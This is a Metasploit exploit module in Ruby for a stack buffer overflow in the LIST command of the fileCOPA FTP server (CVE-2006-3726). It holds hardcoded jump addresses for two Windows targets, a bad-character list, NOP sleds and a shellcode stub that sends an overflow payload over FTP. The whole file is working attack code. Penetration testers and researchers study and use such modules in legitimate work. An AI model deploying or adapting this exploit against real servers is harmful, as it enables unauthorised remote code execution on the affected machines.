##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FileCopa FTP Server Pre 18 Jul Version',
        'Description' => %q{
          This module exploits the buffer overflow found in the LIST command
          in fileCOPA FTP server pre 18 Jul 2006 version discovered by www.appsec.ch
        },
        'Author' => [ 'Jacopo Cervini' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-3726' ],
          [ 'OSVDB', '27389' ],
          [ 'BID', '19065' ],
        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 400,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',

        'Targets' => [
          [ 'Windows 2k Server SP4 English', { 'Ret' => 0x7c2e7993, 'Nops' => 160 } ], # jmp esp
          [ 'Windows XP Pro SP2 Italian', { 'Ret' => 0x77f62740, 'Nops' => 240 } ] # jmp esp
        ],
        'DisclosureDate' => '2006-07-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    c = connect_login
    return if not c

    print_status("Trying target #{target.name}...")

    sploit = "A "
    sploit << make_nops(target['Nops'])
    sploit << [target.ret].pack('V') + make_nops(4) + "\x66\x81\xc1\xa0\x01\x51\xc3" + make_nops(189) + payload.encoded

    send_cmd(['LIST', sploit], false)

    handler
    disconnect
  end
end